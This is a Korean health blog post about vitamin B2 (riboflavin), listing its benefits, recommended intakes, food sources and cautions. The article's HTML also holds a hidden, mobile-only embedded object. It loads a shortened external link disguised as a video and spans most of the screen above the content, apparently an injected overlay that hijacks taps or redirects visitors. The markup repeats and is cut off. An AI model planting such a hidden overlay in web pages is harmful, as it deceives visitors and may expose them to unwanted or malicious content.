비타민B2 효능 리보플라빈 권장량과 음식은?

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c1250497818="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">비타민 B2 (리보플라빈) 효능, 권장량 및 음식</h2>비타민 B2 (리보플라빈) 이란?비타민 B2는 우리 몸에 필요한 수용성 비타민으로, 에너지 생성과 다양한 신체 기능에 중요한 역할을 합니다.비타민 B2 (리보플라빈) 효능<ul data-sourcepos="9:1-14:0"> <li data-sourcepos="9:1-9:57">에너지 생성: 탄수화물, 지방, 단백질 대사에 필수적인 역할을 하여 에너지를 생성합니다.</li> <li data-sourcepos="10:1-10:54">피부 건강: 피부와 점막 건강 유지에 도움을 주어 피부염, 구내염 등을 예방합니다.</li> <li data-sourcepos="11:1-11:38">눈 건강: 시력 유지 및 백내장 예방에 도움을 줍니다.</li> <li data-sourcepos="12:1-12:46">신경 기능: 신경 전달 물질 생성에 관여하여 신경 기능을 유지합니다.</li> <li data-sourcepos="13:1-14:0">항산화 작용: 활성 산소를 제거하여 세포 손상을 예방합니다.</li> </ul>비타민 B2 (리보플라빈) 권장량<ul data-sourcepos="17:1-21:0"> <li data-sourcepos="17:1-17:18">성인 남성: 1.5mg/일</li> <li data-sourcepos="18:1-18:18">성인 여성: 1.2mg/일</li> <li data-sourcepos="19:1-19:16">임산부: 1.6mg/일</li> <li data-sourcepos="20:1-21:0">수유부: 1.8mg/일</li> </ul>비타민 B2 (리보플라빈)가 풍부한 음식<ul data-sourcepos="24:1-31:0"> <li data-sourcepos="24:1-24:25">유제품: 우유, 치즈, 요구르트</li> <li data-sourcepos="25:1-25:24">육류: 간, 돼지고기, 소고기</li> <li data-sourcepos="26:1-26:19">생선: 고등어, 연어</li> <li data-sourcepos="27:1-27:15">달걀: 노른자</li> <li data-sourcepos="28:1-28:29">채소: 브로콜리, 시금치, 아스파라거스</li> <li data-sourcepos="29:1-29:18">곡류: 현미, 통밀</li> <li data-sourcepos="30:1-31:0">콩류: 완두콩, 렌틸콩</li> </ul>비타민 B2 (리보플라빈) 섭취 시 주의사항<ul data-sourcepos="34:1-37:0"> <li data-sourcepos="34:1-34:53">비타민 B2는 수용성 비타민으로 과다 섭취 시 소변으로 배출되므로 독성 위험은 적습니다.</li> <li data-sourcepos="35:1-35:45">하지만 과도한 섭취는 설사, 복통 등의 소화기 장애를 유발할 수 있습니다.</li> <li data-sourcepos="36:1-37:0">특정 질환을 앓고 있거나 약물을 복용 중인 경우 전문가와 상담 후 섭취하는 것이 좋습니다.</li> </ul>결론비타민 B2는 우리 몸에 필수적인 영양소이며, 다양한 식품을 통해 충분히 섭취할 수 있습니다. 균형 잡힌 식단과 규칙적인 생활 습관을 통해 비타민 B2를 충분히 섭취하여 건강을 유지하시기 바랍니다.</div> "><div data-ke-class="article"><style> html, body { margin: 0; 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